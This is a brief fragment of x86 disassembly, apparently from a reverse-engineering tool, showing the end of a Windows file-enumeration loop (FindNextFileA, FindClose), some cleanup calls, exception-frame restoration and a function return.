push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x410c95
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push edi
lea ecx, [ebp - 0x34]
call fcn.00401f00
push esi
push edi
lea ecx, [ebp + 8]
call fcn.00401f00
push esi
push edi
lea ecx, [ebp + 0x28]
call fcn.00401f00
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x3c